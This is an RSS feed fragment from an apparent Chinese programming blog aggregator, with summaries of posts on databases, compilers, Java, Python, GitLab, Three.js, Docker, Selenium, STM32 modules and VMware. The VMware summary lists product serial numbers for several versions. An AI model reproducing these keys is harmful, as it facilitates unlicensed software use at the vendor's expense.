      <description> 理解占用多少字节的关键：明确字符（CHAR）和字节（BYTE）的关系&#xA;一个汉字在不同字符编码下所占字节不同：&#xA;UTF-8：一个汉字 = 3个字节-1个字符，一个英文 = 1个字节-1个字符&#xA;GBK： 一个汉字 = 2个字节-1个字符，一个英文 = 1个字节-1个字符&#xA;Oracle&#xA;VARCHAR2(100 CHAR)表示100个字符：&#xA;UTF8一个中文占1个字符，所以能存100个汉字GBK一个中文占用1个字节，所以能存100个汉字 VARCHAR2(100) 、VARCHAR2(100 BYTE)表示100个字节：&#xA;UTF8一个中文占3个字节，所以能存33个汉字；GBK一个中文占用2个字节，所以能存50个汉字 // oracle查询数据库编码格式。 SELECT * FROM v$nls_parameters WHERE PARAMETER=&#39;NLS_CHARACTERSET&#39;; select userenv(&#39;language&#39;) from dual; // 查看指定字符占用多少长度 select lengthb(&#39;默辨xxx&#39;) from dual; MySQL&#xA;4.1 及之前早期版本：&#xA;VARCHAR(100)表示100个字节。&#xA;UTF8一个中文占3个字节，所以能存33个汉字；GBK一个中文占用2个字节，所以能存50个汉字 5.0版本：&#xA;VARCHAR(100)表示100个字符。&#xA;UTF8一个中文占1个字符，所以能存100个汉字GBK一个中文占用1个字符，所以能存100个汉字 </description>
    </item>
    <item>
      <title>软考-程序语言</title>
      <link>https://bchobby.github.io/posts/f1ec983c89b665901fb1d769f00e2208/</link>
      <pubDate>Mon, 28 Aug 2023 16:00:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1ec983c89b665901fb1d769f00e2208/</guid>
      <description>编译与翻译 翻译程序 翻译时不产生新的独立目标程序解释程序和源程序参与程序的运行 编译程序 编译时产生新的独立目标程序编译程序和源程序不参与程序的运行 程序设计语言的成分 顺序、选择、循环结构 传值与传地址 略 编译、解释与翻译阶段 共同点： 编译和解释都不可省略 词法分析、语法分析、语义分析且顺序不可交换&#xA;编译器特点 词法分析、语法分析、语义分析、中间代码生成、代码优化、目标代码生成中间代码生成 和 代码优化不是必要，可省略 解释器特点 词法分析、语法分析、语义分析&#xA;编译过程 1.词法分析 输入：源程序&#xA;输出：记号流&#xA;分析字符、符号是否符合规定&#xA;2.语法分析 输入：记号流&#xA;输出：语法树&#xA;分析程序中的句子，结构是否符合结构。能分析出所有的语法错误&#xA;3.语义分析 不能分析出所有的语义错误&#xA;分析类型是否匹配&#xA;不能发现动态语义错误，只能发现静态语义错误&#xA;4.目标代码生成 目标代码生成阶段的工作与具体的机器密切相关&#xA;寄存器的分配处于目标代码生成阶段&#xA;5.中间代码生成 后缀式、三地址码、三元式、四元式和树（图）中间代码与机器无关 正规式 学会即可&#xA;有限自动机 最终都要回到终态&#xA;Σ表示可以跳过此阶段</description>
    </item>
    <item>
      <title>Python基础 - 构造函数</title>
      <link>https://bchobby.github.io/posts/a4f41223126f538eb9b621f0b7479603/</link>
      <pubDate>Mon, 28 Aug 2023 14:05:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4f41223126f538eb9b621f0b7479603/</guid>
      <description>目录&#xA;基础构造函数 重写&#xA;钻石继承&#xA;super函数&#xA;基础构造函数 命名为_init_，在实例化对象之前会自动执行该函数&#xA;构造函数方便我们在实例化对象的时候实现个性化定制 class A(): def __init__(self,x,y): self.x = x self.y = y def add(self): return self.x+self.y class B(A): #B继承A pass b = B(1,2) #自动调用A的初始化方法 result= b.add() #调用父类A的add方法 print(result) #结果为3 重写 子类可以不重写__init__，实例化子类时，会自动调用超类中已定义的__init__&#xA;如果重写了__init__，实例化子类时，则不会隐式的再去调用超类中已定义的__init__&#xA;class A(): def __init__(self,x,y): self.x = x self.y = y def add(self): return self.x+self.y class B(A): def add(self): #重写父类A中的add方法 return self.x+self.y+1 b = B(1,2) result= b.add() #将会调用B中的add方法 print(result) #结果是4 钻石继承 钻石继承是指两个类同时继承了一个父类，并且这两个类又同时被一个子类继承</description>
    </item>
    <item>
      <title>Gitlab创建一个空项目</title>
      <link>https://bchobby.github.io/posts/e3a13599163c921347d705d03c614144/</link>
      <pubDate>Mon, 28 Aug 2023 13:44:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3a13599163c921347d705d03c614144/</guid>
      <description>1. 创建项目&#xA;Project slug是访问地址的后缀，跟前边的ProjectUrl拼在一起，就是此项目的首页地址；&#xA;Visibility Level选择默认私有即可，选择内部或者公开，就会暴露代码。&#xA;勾选Readme选项，这样项目内默认会带一个Readme文件。&#xA;2. 邀请成员&#xA;Maintainer权限可以邀请成员，直接在“GitLab成员或电子邮件地址”栏搜索即可，刚注册的账号可能搜不到，需要等几个小时。然后不要忘了指定角色权限。&#xA;3. 邀请群组&#xA;邀请成员旁边就是邀请群组。同样，刚刚创建的群组可能搜不到，需要等待。&#xA;4. 创建分支&#xA;点击左侧菜单，仓库--&amp;gt;分支，点击右侧新建分支，即可。&#xA;5. 解除主分支保护&#xA;默认情况下，master分支是被保护状态的，只有Maintainer权限才能修改。如果只是想简单使用一下，单分支就够用的话，可以解除主分支保护。&#xA;项目首页--&amp;gt;用户设置--&amp;gt;仓库--&amp;gt;展开Protected Branches--&amp;gt;找到master分支点击Unprotect</description>
    </item>
    <item>
      <title>新版Postman获取返回data json中的某个变量值</title>
      <link>https://bchobby.github.io/posts/188a490a20641ce703542935725b3b6d/</link>
      <pubDate>Mon, 28 Aug 2023 10:16:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/188a490a20641ce703542935725b3b6d/</guid>
      <description> 1 当返回体中的data同样为json格式, 此时需要拿到data中的某个数据, 如:&#xA;{ &#39;data&#39;: &#39;{&#34;seq&#34;: &#34;s2943020914552138&#34;, &#34;price&#34;: &#34;0.02&#34;, &#34;discount&#34;: &#34;0.00&#34;, &#34;result&#34;: true}&#39;, &#39;message&#39;: &#39;&#39;, &#39;success&#39;: True, &#39;requesttoken&#39;: &#39;&#39;, &#39;sign&#39;: &#39;&#39; } 2 需要在Test中写入代码&#xA;// 获取response的数据 var jsonData = JSON.parse(responseBody) // 获取data var jdata = jsonData.data // 获取data中的seq数据, 并将其设置为全局变量 pm.globals.set(&#34;seq&#34;,JSON.parse(jdata).seq) </description>
    </item>
    <item>
      <title>【CHI2023】设计交互的生成框架，以克服人类和不完美人工智能之间的差距，而不是提高人工智能的准确性</title>
      <link>https://bchobby.github.io/posts/ddb9482330cd1e5461e2f789c16c4e92/</link>
      <pubDate>Mon, 28 Aug 2023 09:43:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddb9482330cd1e5461e2f789c16c4e92/</guid>
      <description> CHI 2023 的一个加长摘要 相关网址简单记录一下对里面感兴趣的内容一些简单的想法 相关网址 URL：A Generative Framework for Designing Interactions to Overcome the Gaps between Humans and Imperfect AIs Instead of Improving the Accuracy of the AIs&#xA;简单记录一下对里面感兴趣的内容 AAAI &#39;20：在STOP标志上贴上蛾状的贴纸会使自动驾驶汽车误将其识别为限速80的标牌。&#xA;2000年的一篇IEEE Transactions on Systems, Man, and Cybernetics - Part A: Systems and Humans 提出了一个自动化交互框架：Parasuraman’s framework of automation&#xA;可以看出，从等级1到等级10，计算机提供的决策权限越来越高。作者使用的用于教学的系统中，采用信息获取和信息分析方面保持了10级，而在决策和行动选择以及行动实施方面表现出1级。&#xA;一些简单的想法 对标牌加贴纸就可以让自动驾驶的视觉产生误判，这种视觉欺骗对以深度学习为基础的纯视觉导航+追踪任务的无人机是否会产生影响呢？在无人机相关的人机交互中，Parasuraman’s 的自动化模型是否能套用进来，或者是否能够进行改进？对于不同的情况，人产生的影响的比重会变化，无人机可以根据条件自主选择是否接受操作人的指令？但是这样又会有新的问题，如果环境中存在信息欺骗，是否无人机会脱离控制？这种情况需要设置某些强制手动的指令？ </description>
    </item>
    <item>
      <title>Gitlab设置中文</title>
      <link>https://bchobby.github.io/posts/dc118420c8407e4d1bc7fe94691e5a69/</link>
      <pubDate>Mon, 28 Aug 2023 08:54:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc118420c8407e4d1bc7fe94691e5a69/</guid>
      <description>1. 打开设置&#xA;2.选择首选项Preferences&#xA;3. 下滑选择本地化选项Localization，设置简体中文，然后保存更改save changes。刷新网页即可。</description>
    </item>
    <item>
      <title>Threejs 开发3D可视化地图</title>
      <link>https://bchobby.github.io/posts/49806a5bfc2e40a6378282daf09f9159/</link>
      <pubDate>Sun, 27 Aug 2023 23:54:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49806a5bfc2e40a6378282daf09f9159/</guid>
      <description>可以直接去github github.com/1023byte/3Dmap&#xA;前言 threejs小练习，从头实现如何加载地理数据，并将其映射到三维场景中的对象上。&#xA;获取数据 在开始绘制图形前，需要一份包含地理信息数据，我们可以从阿里云提供的小工具获取datav.aliyun.com/portal/school/atlas/area_selector&#xA;在范围选择器中，可以选择整个或者各个省份的地理信息数据。&#xA;生成图形 获取数据后，先分析一下JSON的结构&#xA;image.png properties 中包含了名字、中心、质心等信息， geometry.coordinates 则是地理的坐标点，我们需要做的是将这些点连成线。&#xA;THREE.Shpae const createMap = (data) =&amp;gt; { const map = new THREE.Object3D(); data.features.forEach((feature) =&amp;gt; { const unit = new THREE.Object3D(); const { coordinates, type } = feature.geometry; coordinates.forEach((coordinate) =&amp;gt; { if (type === &#34;MultiPolygon&#34;) coordinate.forEach((item) =&amp;gt; fn(item)); if (type === &#34;Polygon&#34;) fn(coordinate); function fn(coordinate) { const mesh = createMesh(coordinate); unit.add(mesh); } }); map.add(unit); }); return map; }; 这里需要注意在geometry中的type分为MultiPolygon和Polygon，需要分别处理，不然会造成个别区域缺失,二者区别是MultiPolygon的坐标多一层嵌套数据，所以这里多做一次遍历。</description>
    </item>
    <item>
      <title>Java字符串</title>
      <link>https://bchobby.github.io/posts/cd7392af5bcb9f50395e10ba4a990249/</link>
      <pubDate>Sun, 27 Aug 2023 23:09:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd7392af5bcb9f50395e10ba4a990249/</guid>
      <description>字符串 字符类型(char)是Java中的基本数据类型之一，字符是用单引号引住的单个符号。字符串(String)是用双引号引住的任意个字符，字符串其实就是字符组成的序列。字符串在开发中可以用来表示标题，名称，地址等。&#xA;1.字符串对象与字面量 String 变量名 = &#34;初始值&#34;; String 变量名 = new String(&#34;初始值&#34;); 第一种形式使用双引号引住的字符串叫做字面量&#xA;第二种使用new运算符声明的字符串叫做字符串对象。【第二种形式并不常用，推荐使用第一种形式。】&#xA;2.API 字符串内部使用byte数组（JDK8之前是char数组）来保存字符串的内容，数组中的每一位存一个字符，byte数组的长度也就是字符串的长度。&#xA;返回类型方法名称作用booleanequals(String)比较两个字符串是否相等booleanequalsIgnoreCase(String)忽略大小写比较两个字符串是否相等intlength()获取字符串的长度charcharAt(int)获取字符串中的一个字符intindexOf(String)判断传入字符串在原字符串中第一次出现的位置intlastIndexOf(String)判断传入字符串在原字符串中最后一次出现的位置booleanstartsWith(String)判断原字符串是否以传入字符串开头booleanendsWith(String)判断原字符串是否以传入字符串结尾intcompareTo(String)判断两个字符串的大小StringtoLowerCase()获取小写字符串StringtoUpperCase()获取大写字符串Stringsubstring(int)截取字符串，从传入参数位置开始截取到末尾Stringsubstring(int, int)截取字符串，从参数1位置开始截取到参数2位置Stringtrim()去掉字符串首尾的空格String[]split(String)将原字符串按照传入参数分割为字符串数组Stringreplace(String, String)将字符串中指定的内容替换成另外的内容 2.1字符串连接 字符串可以进行加法运算，作用是将两个字符串连接在一起，也可以将字符串与基本类型变量做加法运算，系统会先将基本类型转换为字符串型后进行连接操作。在Java中将两个字符串连接在一起可以使用加号连接，也可以使用 concat() 方法连接。&#xA;stringString str1=&#34;绿蚁新醅酒，&#34;; String str2=&#34;红泥小火炉。&#34;; System.out.println(str1.concat(str2));//绿蚁新醅酒，红泥小火炉。 2.2字符串比较 字符串也可以进行是否相等的比较，但不能直接使用 == 运算符，而是要使用equals() 方法进行比较。忽略大小写的比较 equalsIgnoreCase() 方法&#xA;在Java中，equals()和==都是用于比较两个对象的操作，但它们有着不同的含义和使用场景。&#xA;（1）==操作符用于比较两个对象的引用是否指向同一内存地址。如果两个对象的引用指向相同的内存地址，则它们是相等的。&#xA;（2）另一方面，equals()方法用于比较两个对象的值是否相等。默认情况下，equals()方法比较两个对象的引用是否相等，但可以通过重写该方法来实现自定义的相等比较逻辑。&#xA;（3）需要注意的是，对于基本类型的比较（如int、double等），==操作符比较的是它们的值，而不是引用&#xA;String str = &#34;name&#34;; String str2 = &#34;name&#34;; String str3 = &#34;string&#34;; System.out.println(str.equals(str2));//true System.out.println(str.equals(str3));//false 2.3字符串的长度 String类的 length() 方法可以获取字符串是由多少个字符构成的。&#xA;在数组中length属于数组的属性，而在字符串中length()是字符串的方法，注意进行区分&#xA;String str = &#34;name&#34;; System.out.println(str.length()); 2.4字符串查找 indexOf() 判断传入字符串在原字符串中第一次出现的位置lasetIndexOf() 判断传入字符串在原字符串中最后一次出现的位置startsWith() 判断原字符串中是否以传入字符串开头endsWith() 判断原字符串中是否以传入字符串结尾 public static void main(String[] args) { Scanner sc = new Scanner(System.</description>
    </item>
    <item>
      <title>Anolis8.8安装docker-ce</title>
      <link>https://bchobby.github.io/posts/d6fac4a1bfb36e9bebd2acf352416ea7/</link>
      <pubDate>Sun, 27 Aug 2023 22:02:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6fac4a1bfb36e9bebd2acf352416ea7/</guid>
      <description>一、Anolis8.8与docker-ce 1、Anolis OS 8.8官方首页:龙蜥社区https://openanolis.cn/ 龙蜥操作系统（Anolis OS）是 OpenAnolis 龙蜥社区发行的开源 Linux 发行版，兼容主流 Linux 发行版操作习惯，支持多计算架构，提供稳定、高性能、安全、可靠的操作系统服务。当前 Anolis OS 提供 Anolis OS 7、Anolis OS 8 和 Anolis OS 23 三个主要版本。三个主要版本均集成 ANCK 内核版本（Anolis Cloud Kernel，Anolis 云内核），ANCK 是由社区 Cloud Kernel SIG 组基于上游 Kernel 研发，一款定制优化版的内核产品，在 Cloud Kernel 中实现了若干针对云基础设施和产品而优化的特性和改进功能，旨在提高云端和云下客户的使用体验。与其他 Linux 内核产品类似，Cloud Kernel 理论上可以运行于几乎所有常见的 Linux 发行版中。&#xA;龙蜥操作系统（Anolis OS）搭载了 RHCK 和 ANCK 两种不同版本的内核，性能和稳定性经过历年“双 11”历练，能为云上典型用户场景带来 40% 的综合性能提升，故障率降低 50%，兼容 CentOS 生态，提供平滑的 CentOS 迁移方案，并提供全栈国密能力。最新的长期支持版本 Anolis OS 8.6 已发布，更多龙蜥自研，支持 X86_64 、RISC-V、Arm64、LoongArch 架构，完善适配 Intel、飞腾、海光、兆芯、鲲鹏、龙芯等主流芯片。&#xA;2、docker官方首页:https://www.docker.com/ Docker是一个开源的引擎，可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署，包括VMs（虚拟机）、 bare metal、OpenStack 集群和其他的基础应用平台。</description>
    </item>
    <item>
      <title>多数据源切换以及事务处理</title>
      <link>https://bchobby.github.io/posts/64d72e69566b5aac21ad81a4321bfac1/</link>
      <pubDate>Sun, 27 Aug 2023 14:48:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64d72e69566b5aac21ad81a4321bfac1/</guid>
      <description>SpringBoot 多数据源切换（超级简单）_springboot数据源切换_Tz.的博客-CSDN博客&#xA;springboot dynamic多数据源demo以及常见切换、事务问题_一片星空～的博客-CSDN博客</description>
    </item>
    <item>
      <title>2023最新版Selenium 4.6.0语法快速入门</title>
      <link>https://bchobby.github.io/posts/bc3227a6edea6a4d5a01bc2f5276af6d/</link>
      <pubDate>Sun, 27 Aug 2023 00:08:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc3227a6edea6a4d5a01bc2f5276af6d/</guid>
      <description>简介 Selenium是一款强而有力的前端应用测试工具，也非常适合搭配Python作为网络爬虫的工具；Selenium可以模拟使用者所有浏览器操作的动作，包括输入文本、点击按钮及拖拽进度条等。有鑑于新版的Selenium 4与旧版的语法有若干明显的差异，特别撰写本文来与朋友们釐清并分享。&#xA;安装 安装Selenium套件 pip install selenium&#xA;安裝WebDriver 可以去这裡下载WebDriver，注意要与你的Chrome浏览器版本相同。下载并解压缩后会得到一个chromedriver.exe的可执行档，建议将这个档案複製到你的Python项目资料夹下，可以避免路径的问题。&#xA;浏览网页 from selenium import webdriver from selenium.webdriver.chrome.service import Service service = Service(&#39;./chromedriver&#39;) # 设定chromedriver路径 driver = webdriver.Chrome(service = service) driver.get(&#39;https://www.baidu.com&#39;) # 浏览百度网站首页 print(driver.title) # 百度一下，你就知道 查找单一元素 &#34;&#34;&#34; &amp;lt;html&amp;gt; &amp;lt;body&amp;gt; &amp;lt;form id=&#34;loginForm&#34;&amp;gt; &amp;lt;input name=&#34;username&#34; type=&#34;text&#34; /&amp;gt; &amp;lt;input name=&#34;password&#34; type=&#34;password&#34; /&amp;gt; &amp;lt;input name=&#34;continue&#34; type=&#34;submit&#34; value=&#34;Login&#34; /&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &#34;&#34;&#34; login_form = driver.find_element(By.ID, &#39;loginForm&#39;) # 用ID查找 username = driver.find_element(By.NAME, &#39;username&#39;) # 用NAME查找 username = driver.</description>
    </item>
    <item>
      <title>Mybatis-Plus查询一条数据</title>
      <link>https://bchobby.github.io/posts/b80e0d0370b683700fba7463d4532d68/</link>
      <pubDate>Sat, 26 Aug 2023 22:41:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b80e0d0370b683700fba7463d4532d68/</guid>
      <description> 如何查询学生表中第一个出现的六年级学生的id呢？如果之前没这个需求，我们一般都会按照自己最熟悉的方式先去查找六年级所有的学生数据，然后获取第一条数据。虽然这种方式也可以获取到我们需要的数据，但是执行的SQL语句需要进行全表扫描后获取所有满足的记录数返回。因为我们只需要第一条数据，所以可以通过拼接limit=1来获取该条数据，减少数据库扫描。&#xA;可以在查询条件最后拼接limit，限制查询的记录数。&#xA;LambdaQueryWrapper&amp;lt;Student&amp;gt; queryWrapper = new LambdaQueryWrapper&amp;lt;&amp;gt;(); queryWrapper.eq(Student::getLevel,6).last(&#34;limit 1&#34;); Student student = getOne(queryWrapper); </description>
    </item>
    <item>
      <title>STM32开发 | 移远4G-Cat.1模组EC200N-CN开发</title>
      <link>https://bchobby.github.io/posts/2c2e5f2f1d6e265bef068f67388d1bb4/</link>
      <pubDate>Sat, 26 Aug 2023 21:55:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c2e5f2f1d6e265bef068f67388d1bb4/</guid>
      <description>一、硬件说明 1、引脚分配图 文章来源地址https://www.yii666.com/blog/326636.html文章来源地址:https://www.yii666.com/blog/326636.html&#xA;2、常用引脚说明 模块输入电源&#xA;引脚名描述VBAT_BB模块基带电源（Vnom = 3.8 V）VBAT_RF模块射频电源（Vnom = 3.8 V）GND接地引脚 模块输出电源&#xA;引脚名描述VDD_EXT外部电路 1.8 V 供电（Vnom = 1.8 V） 开/关机&#xA;引脚名描述RESET_N模块复位（低电平有效，1.8 V 电压域，不用则悬空。）PWRKEY模块开/关机 （VBAT 电压域） SIM 接口&#xA;引脚名描述USIM_VDD(U)SIM 供电电源（模块自动识别 1.8 V或 3.0 V (U)SIM 卡。）USIM_DATA(U)SIM 数据USIM_CLK(U)SIM 时钟USIM_RST(U)SIM 复位 主串口&#xA;引脚名描述MAIN_TXD主串口发送（1.8 V 电压域）MAIN_RXD主串口接收（1.8 V 电压域） 天线接口&#xA;引脚名描述ANT_MAIN主天线接口（50 Ω 特性阻抗） 二、常用AT指令说明 1、AT 说明： 检测AT指令收发是否正常模组收到指令回复： AT OK 2、AT+CPIN? 说明： 查询SIM卡状态（是否插入SIM卡、锁定SIM卡、解锁SIM卡），返回 READY则表示模组正常模组收到指令回复： AT+CPIN? +CPIN: READY OK 3、AT+CREG? 说明： 查询当前网络注册状态，正常则回复 +CREG: 0,1模组收到指令回复： AT+CREG? +CREG: 0,1 OK 4、AT+CEREG?</description>
    </item>
    <item>
      <title>java多线程</title>
      <link>https://bchobby.github.io/posts/698bc6c78756d56f8a1107ce84687367/</link>
      <pubDate>Sat, 26 Aug 2023 17:41:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/698bc6c78756d56f8a1107ce84687367/</guid>
      <description>目录&#xA;一、获取多线程的4种方式(Runnable/Callable/Thread/线程池)&#xA;二、相关细节&#xA;1、自定义线程池的相关参数&#xA;1.1 生产环境中如何配置corePoolSize和maximumPoolSize？&#xA;1.2 四种拒绝策略&#xA;2、为何使用线程池？使用线程池的好处？为何不用默认线程池？&#xA;2.1 为何用？(线程复用 / 控制最大并发数 / 管理线程)&#xA;2.2 用的好处？(降低资源消耗/提高响应速度/提高线程的可管理性)&#xA;2.3 线程池的底层原理？&#xA;三、线程不安全&#xA;1、线程不安全的ArrayList(Vector, Collections.synchronized(), JUC方法)&#xA;1.1 线程不安全的原因&#xA;1.2 解决办法&#xA;2、线程不安全的HashSet&#xA;2.1 线程不安全的原因&#xA;2.2 解决办法&#xA;3、线程不安全的HashMap&#xA;3.1 线程不安全的原因&#xA;3.2 解决办法&#xA;四、核心线程数、最大线程数、阻塞队列长度的计算&#xA;1、核心线程数&#xA;【常规-核心线程数的计算】&#xA;【max-核心线程数的计算】&#xA;【实际-核心线程数的计算】&#xA;2、最大线程数(我自己总结的)&#xA;3、阻塞队列&#xA;本文通过学习：周阳老师-尚硅谷Java大厂面试题第二季 总结的多线程相关的笔记&#xA;一、获取多线程的4种方式(Runnable/Callable/Thread/线程池) 实现Runnable接口实现Callable接口实例化Thread类使用线程池获取 Runnableclass MyThread implements Runnable {&#xA;@Override&#xA;public void run() {&#xA;System.out.println(&#34;Runnable&#34;);&#xA;}&#xA;}Callableclass MyThread2 implements Callable&amp;lt;Integer&amp;gt; {&#xA;@Override&#xA;public Integer call() throws Exception {</description>
    </item>
    <item>
      <title>BIO到NIO、多路复用器, 从理论到实践, 结合实际案例对比各自效率与特点(下)</title>
      <link>https://bchobby.github.io/posts/4d0574a3829a4f0b5e1636d459dcaf8e/</link>
      <pubDate>Sat, 26 Aug 2023 17:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d0574a3829a4f0b5e1636d459dcaf8e/</guid>
      <description>文章目录 多路复用器简介多路复用器的两个阶段Java中的多路复用器封装测试代码压测结果总结 本篇文章是BIO到NIO、多路复用器, 从理论到实践, 结合实际案例对比各自效率与特点(上)的下一篇, 如果没有看的小伙伴, 可以先看下, 不然可能会不连贯.&#xA;多路复用器简介 多路复用器是对于传统NIO的优化, 解决了传统NIO无法直接获取所有所有连接的状态, 需要挨个遍历所有连接查看是否准备就绪的问题, 这种方式会涉及到很多次系统调用, 用户态和内核态的切换,效率不高.&#xA;那多路复用器是怎样优化的呢?&#xA;首先要明白 多路的路是谁--------&amp;gt;其实就是每个IO连接&#xA;每个路有没有数据谁知道呢--------&amp;gt;内核知道, 那既然内核自己知道某一时刻有哪些连接是有连接的, 是不是我们直接调用对应功能方法即可, 所以这里就有个多路复用器, 你调用这个多路复用器, 它就会给你返回所有的路的IO状态.&#xA;这个就可以通过一次系统调用,获取所有连接的IO状态的结果集&#xA;然后程序自己对有状态的(准备好的)连接进行读写,这样才是高性能&#xA;这里注意,多说一句, 只要程序自己读写数据, 你的IO模型就是同步的&#xA;多路复用器的两个阶段 多路复用器有两个阶段, 或者说是内核的两类实现, 这两类实现的最终目的都是一样的, 就是帮你返回所有IO连接的IO状态(是否可读), 但是实现细节有些许差别, 可以理解为epoll是select poll的升级版.&#xA;这里还是再提示下, 以下的两种实现讲的操作系统中的实现, 并不是Java中的方法.&#xA;select poll&#xA;需要把所有IO连接存到一个集合中, 把这个集合传递拷贝给内核, 也就是调用select或者poll, 内核会把集合中准备就绪的连接给个特殊标识, 然后返回.&#xA;这样程序就可以直接知道哪些连接是有状态的, 从而直接进行读取数据&#xA;弊端:&#xA;假如有1w个连接, 每次都需要把这个1w个连接拷贝给内核, 这个拷贝就是损耗点, 每次需要重复拷贝数据给内核.&#xA;epoll&#xA;正是因为select, poll 有自身的弊端, 这才催生了epoll.&#xA;优化&#xA;以空间换时间, 开辟了内核空间, 缓存了应用程序的连接信息. 这样就不需要重复的拷贝数据.无损耗才是高性能.&#xA;实现步骤&#xA;1. 在一个linux机器上, 有很多的应用程序, 所以一个应用程序想要使用epoll的话, 首先需要在内核中 开辟空间------对应epoll_create系统调用</description>
    </item>
    <item>
      <title>什么是VMware（虚拟机）</title>
      <link>https://bchobby.github.io/posts/17e6872ae4eea79acbb247492723fc9f/</link>
      <pubDate>Sat, 26 Aug 2023 14:39:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17e6872ae4eea79acbb247492723fc9f/</guid>
      <description>虚拟机是指行为方式类似于实际计算机的计算机文件。换言之，即在计算机内创建一台计算机。它像任何其他程序一样在窗口中运行，让最终用户在虚拟机上享受如在主机操作系统上的相同体验。虚拟机脱离系统其余部分进行了沙盒化，这意味着虚拟机中的软件不可转义或篡改计算机本身。这制造了一种理想的环境，可用于测试其他操作系统（包括 beta 版本）、访问感染病毒的数据、创建操作系统备份，以及在操作系统上运行原本不打算运行的软件或应用程序。&#xA;多个虚拟机可以在同一实体计算机上同时运行。对服务器而言，多个操作系统并排运行，并具有一个称为虚拟机监控程序的软件进行管理；而台式计算机通常使用一个操作系统在其程序窗口内运行其他操作系统。每个虚拟机都提供自己的虚拟硬件，包括 CPU、内存、硬盘、网络接口和其他设备。然后，虚拟硬件将映射到物理计算机的真实硬件上，这可减少物理硬件系统需求和伴随的相关维护成本以节省开销，还可降低功率和冷却需求。&#xA;虚拟机还是运行在你的主机系统里面的，所以安装出来的虚拟机系统是需要与你的主机硬件所共享的&#xA;虚拟机的软件有很多，目前功能强大且比较主流的虚拟机软件首选VMware&#xA;VMware是一个虚拟PC的软件，可以在现有的操作系统上虚拟出一个新的硬件环境，相当于模拟出一台新的PC，以此来实现在一台机器上真正同时运行两个独立的操作系统。&#xA;VMare的主要特点&#xA;①不需要分区或重新开机就能在同一台PC上使用两种以上的操作系统&#xA;②本机系统可以与虚拟机系统网络通信&#xA;③可以设定并且随时修改虚拟机操作系统的硬件环境，如内存配置、硬盘大小（注意：不能超过真实主机硬件上限）&#xA;④虚拟机快照可以保存操作系统当前状态，若后续Linux系统崩溃，可以使用快照恢复&#xA;VMware下载&#xA;1、从VM11开始就不再支持32位系统了，32位系统用户和XP系统用户请使用10.0.7版本；&#xA;2、从VM14开始，对硬件要求进一步提高，所以低配电脑用户请使用12.5.9版本；&#xA;3、关于VM14黑屏问题，这是 VMware tools 版本过低引起的&#xA;提供部分版本下载和序列号：&#xA;各版本序列号&#xA;10.x：1Z0G9-67285-FZG78-ZL3Q2-234JG&#xA;11.x：YG74R-86G1M-M8DLP-XEQNT-XAHW2&#xA;12.x：ZC3TK-63GE6-481JY-WWW5T-Z7ATA&#xA;14.x：AU108-FLF9P-H8EJZ-7XMQ9-XG0U8&#xA;15.x：FC7D0-D1YDL-M8DXZ-CYPZE-P2AY6&#xA;WRITE-BUG研发团队衷心希望【WRITE-BUG数字空间】可以给每位同学一个属于自己的秘密空间，同时祝愿大家在“公开圈子”世界里，遇见志同道合的伙伴们，因为我们与大家一样，都曾孤独前行着。</description>
    </item>
    <item>
      <title>继承和多态</title>
      <link>https://bchobby.github.io/posts/1b475d48617b0c3d22f711623994e573/</link>
      <pubDate>Sat, 26 Aug 2023 00:24:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b475d48617b0c3d22f711623994e573/</guid>
      <description>继承 Java类中只支持单继承，即一个类只能有一个直接父类。&#xA;类与类之间有三种关系，分别是“is a”，“use a”，“has a”，继承表达的是“is a”的关系，如Dog is a Pet，学生 is a 人，苹果 is a 水果等。&#xA;[访问修饰符] class 类名 extends 父类名{ } // 访问修饰符：public【项目任何地方都可以访问类】 缺省【当前包中】 // 访问修饰符： // public : 项目任何地方都可以访问 // protected : 同包下任意类可以访问【其他包子类也可以访问 static 】 // private : 只能自身访问 // package-access : 同包下任意类可以访问 java基本概念&#xA;子类可以继承父类的非私有属性和方法。子类可以使用父类的属性和方法，无需重新编写相同的代码。子类可以添加自己的属性和方法。子类可以增加父类中没有的属性和方法，从而增加代码的灵活性和可扩展性。子类的构造方法可以调用父类的构造方法。在子类的构造方法中使用super关键字可以调用父类的构造方法，从而初始化父类的属性。Object类是所有类的根类。每个类都是Object类的子类，因此可以使用Object类中定义的一些通用方法，如equals()、hashCode()、toString()等。Java中的类只支持单一继承，每个类只能有一个父类（直接父类）。子类可以成为其他类的父类，从而建立多级继承关系。但是，过多的继承可能会导致代码难以理解和维护 继承是java的三大特征之一&#xA;继承就是子类继承父类的特征和行为，来实现充实自身内容&#xA;格式：使用extends 关键字申明一个类是从另一个类继承而来&#xA;现有类称为父类、超类、基类，新类称为子类、扩展类&#xA;继承的作用：代码复用，增加软件的可扩展性&#xA;继承分为单继承、多继承，java中类只支持单继承，也就是一个类只能有一个直接父类&#xA;继承的应用&#xA;Java中继承是一种面向对象编程的核心概念，它可以让子类继承父类的属性和方法，并且还可以在此基础上进行扩展和重写，提高了代码的复用性和可维护性。&#xA;public class Pet { private String name; private int age; public String color; protected double weight; public Pet(){} public Pet(String name, int age, String color, double weight, String voice) { this.</description>
    </item>
    <item>
      <title>面向程序对象</title>
      <link>https://bchobby.github.io/posts/6f7542ba04e606bf494d45219b25e454/</link>
      <pubDate>Sat, 26 Aug 2023 00:21:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f7542ba04e606bf494d45219b25e454/</guid>
